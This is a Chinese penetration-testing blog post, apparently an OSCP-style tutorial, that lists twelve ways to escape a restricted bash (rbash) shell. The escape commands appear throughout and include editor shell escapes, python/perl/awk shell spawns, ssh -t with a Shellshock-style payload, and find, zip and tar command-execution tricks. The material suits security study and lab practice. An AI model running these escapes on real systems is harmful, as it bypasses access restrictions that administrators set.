首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,081 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,252 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,566 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
3
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
搜索到
1
篇与
的结果
2025-05-18
渗透测试rbash逃逸,rbash逃逸的12种方式
简述什么是rbash?rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的restricted shell的一种,也就是最常见的restricted shell,它与一般shell的区别在于会限制一些行为,让一些命令无法执行如何设置?useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令为rbash逃逸做信息收集1、枚举环境变量执行env或printenv命令来查看当前的环境变量设置。特别是PATH和SHELL变量,它们可能影响到命令的查找和执行。2、检查可用应用和服务文本编辑器:如vi、vim、nano等,这些编辑器有时候允许用户执行系统命令。其他系统工具:如ftp,more,less,man等,这些工具在特定情况下也可用于执行命令逃逸调试工具:如gdb,在某些配置下可能允许用户执行任意代码3、枚举可用的命令和操作符命令枚举:检查哪些命令在rbash环境中是可用的。这通常包括一些基本的文件操作命令(如ls、cat、echo等),以及可能未被禁用的系统命令。操作符枚举:尝试使用重定向操作符(如>、>>、<等)和管道操作符(|),以评估它们是否可用。这些操作符在构建逃逸命令时可能非常有用。4、检查可用编程语言python perl ruby php java等5、用户和sudo权限用户权限:了解当前用户的权限范围,包括可以访问哪些文件和目录。sudo权限:使用sudo -l命令查看当前用户是否有sudo权限以及可以执行哪些命令。这有助于评估是否可以通过sudo命令绕过rbash限制。常见的逃逸技术1、”/“字符如果/字符被允许我们可以直接运行:/bin/bash2、cp命令可以直接赋值/bin/bash或者passwd中root的终端目录直接运行cp /bin/bash test1 cp /bin/sh test2 ./test1 # 切换到了/bin/bash ./test2 # 切换到了/bin/sh图例3、常见的应用探测系统中是否存在常见应用FTP,GDB(调试程序的工具)等。执行:ftp> !/bin/sh执行:gdb> !/bin/shman / git执行:man > !/bin/sh执行:git > git help statusvi / vimvi test :!/bin/sh # 利用vi/vim中可以执行命令的特点more / less 同上操作more test_file !/bin/sh4、set shell在一些编辑器中可以设置shell变量然后执行,如vim中# vim/vi进入之后 :set shell=/bin/sh # 或者用/bin/bash :shell # 切换完成之后还要添加环境变量,给$PATH变量增加两个路径,用来查找命令 export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/比如DC-2靶机,文章参考-------5、更改PATH或者Shell环境变量export查看环境变量PATH 和 SHELL 变量的权限设置很可能是:r-x ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash6、编程语言语言可以帮我们切换shell的类型,通常用来升级终端,比如webshell反弹成功之后,我们不能使用su命令,应为它具有交互式(比如输入密码)的操作,这个时候就可以用计算机语言来转换shell的类型,案例参考:pythonpython -c "import os;os.system('/bin/bash')" 或者 python -c "import pty;pty.spawn('/bin/bash')"perlperl -e "exec '/bin/sh';"rubyexec "/bin/sh"7、su命令切换用户的时逃逸,这里的原理涉及到su和su -的区别:su命令只会更待当前用户,而不会更改当前的用户环境,比如从root用户在自己的根目录下切换到kali用户,我们当前所处的目录还是rootsu -命令,则在更改当前用户信息的同时还会更改用户环境,但如果你从root用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了逃逸过程su -l tw su - tw su --login tw8、ssh登录逃逸它的原理就是借助-t远程在远程机器上运行脚本正常登录成功的样子逃逸成功的样子命令如下ssh username@IP -t "/bin/bash" or "/bin/sh" ssh username@IP -t "bash --noprofile" ssh username@IP -t "() { :; }; /bin/bash"注意使用bash --noprofile和() { :; }; /bin/bash的时候没有登录成功的提示,以及登录时间之类的9、awk超级玛丽靶机awk 'BEGIN {system("/bin/sh")}' 或 awk 'BEGIN {system("/bin/bash")}'10、findfind / -name SomeName -exec /bin/sh ; find / -name SomeName -exec /bin/bash ;11、zipzip demo.zip /data/demo -T --unzip-command="sh -c /bin/bash"12、tartar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash总结本文仅以rbash为例进行演示,但这些逃逸技巧同样适用于其他类型的受限shell。值得注意的是,由于不同系统的特性各异,逃逸方式也会存在较大差异。用户安装的git、tar、zip等工具,往往能为我们提供极大的帮助。
2025年05月18日
1,354 阅读
0 评论
0 点赞